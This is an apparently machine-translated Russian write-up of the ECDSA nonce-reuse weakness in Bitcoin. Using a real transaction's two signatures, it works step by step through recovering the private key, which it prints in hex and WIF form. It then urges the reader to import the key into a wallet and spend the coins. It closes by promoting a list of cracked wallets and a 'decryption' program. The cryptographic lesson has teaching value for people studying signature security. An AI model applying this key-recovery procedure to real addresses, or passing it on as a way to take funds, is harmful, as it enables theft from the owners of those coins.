Описание принципа уязвимости случайного восстановления
25 декабря 2012 года Нильс Шнайдер впервые обнаружил потенциальную слабость в некоторых реализациях Биткойна. Взгляните на эту транзакцию:
transaction: 9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1
input script 1:
30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e
1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e0104dbd0c61532279cf
72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b
7bf149a8f2fe4e8535c8a829b449c5ff
input script 2:
30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad10
2209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab0104dbd
0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21
e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff
Эта транзакция имеет два входа и один выход. Если вы внимательно посмотрите на два входных сценария, вы заметите, что в начале и в конце довольно много равных байтов. Эти байты в конце представляют собой зашифрованный в шестнадцатеричном формате открытый ключ адреса, на который расходуются монеты, так что в этом нет ничего плохого. Однако первая половина скрипта - это настоящая подпись (r, s):
r1: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
r2: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
s1: 44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e
s2: 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab
Как видите, r1 равно r2. Это огромная проблема. Мы сможем восстановить закрытый ключ к этому открытому ключу:
private key = (z1*s2 - z2*s1)/(r*(s1-s2))
Нам просто нужно найти z1 и z2! Это хеши выходных данных, которые нужно подписать. Получим выходные переходы и вычислим их (рассчитывается OP_CHECKSIG):
z1: c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
z2: 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc
Вот и все. Давайте настроим нашу записную книжку мудреца следующим образом:
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
r = 0xd47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
s1 = 0x44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e
s2 = 0x9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab
z1 = 0xc0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
z2 = 0x17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc
p - это просто порядок G , параметра кривой secp256k1, используемой Биткойном. Создадим поле для наших вычислений:
K = GF(p)
И вычислите закрытый ключ в этом поле:
K((z1*s2 - z2*s1)/(r*(s1-s2)))
88865298299719117682218467295833367085649033095698151055007620974294165995414
Преобразуйте его в более подходящий формат:
hex: c477f9f65c22cce20657faa5b2d1d8122336f851a508a1ed04e479c34985bf96
WIF: 5KJp7KEffR7HHFWSFYjiCUAntRSTY69LAQEX1AUzaSBHHFdKEpQ
И импортируйте его в свой любимый биткойн-кошелек. Он вычислит правильный биткойн-адрес, и вы сможете потратить монеты, отправленные на этот адрес.
Почему это сработало? ECDSA требует случайного числа для каждой подписи. Если это случайное число когда-либо используется дважды с одним и тем же закрытым ключом, его можно восстановить.
Полный список всех взломанных таким образом кошельков можно посмотреть по ссылке: Здесь
Программа для дешифровки транзакций биткоин сети : Здесь